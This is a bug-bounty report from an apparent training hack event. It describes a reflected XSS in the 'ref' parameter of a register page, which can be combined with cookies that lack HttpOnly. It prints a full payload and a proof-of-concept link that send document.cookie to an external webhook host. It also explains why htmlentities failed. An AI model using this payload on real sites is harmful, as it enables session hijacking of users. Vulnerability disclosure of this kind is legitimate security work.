FirstBlood-#268Reflected XSS on register page



On 2021-05-15, pichik reported:

Description

Hi,
i found that parameter ref, which is used for redirecting after logout as an doctor in /drpanel/logout.php, can be used in /register.php as well.
However here it is used through javascript in <a href element and is vulnerable to XSS.
Also found that cookies are missing httponly attribute, thus they can be accessed via javascript.
This two vulnerabities combined together can be used to steal cookies.

In this payload I used simple GET request:

var xhttp = new XMLHttpRequest();
xhttp.open("GET","https://webhook.site/[your_id]?cookie="+document.cookie);
xhttp.send();

In <a href element we can use autofocus and onfocus to run script without user interaction.

Here is full payload:
ref=' autofocus onfocus='javascript:var xhttp = new XMLHttpRequest();xhttp.open("GET","https://webhook.site/[your_id]?cookie="+document.cookie);xhttp.send();'id='1

POC link:

http://firstbloodhackers.com/register.php?ref=' autofocus onfocus='javascript:var xhttp = new XMLHttpRequest();xhttp.open("GET","https://webhook.site/[your_id]?cookie="+document.cookie);xhttp.send();'id='1

Impact

An attacker can execute arbitrary javascript and steal cookies from doctors

P3 Medium

Endpoint: /register.php

Parameter: ref

Payload: ' autofocus onfocus='javascript:var xhttp = new XMLHttpRequest();xhttp.open("GET","https://webhook.site/[your_id]?cookie="+document.cookie);xhttp.send();'id='1


FirstBlood ID: 4
Vulnerability Type: Reflective XSS

The parameter "ref" is vulnerable to XSS on register.php. The developer made use of htmlentities but this is inadequate as the HREF is wrapped in single quotes.


Respect Earnt: 1500000
RESPECT ($RSP) is an experimental cryptocurrency based on the Ethereum blockchain with the mission to show respect to those who deserve it. We are testing it out on our FirstBlood hackevent.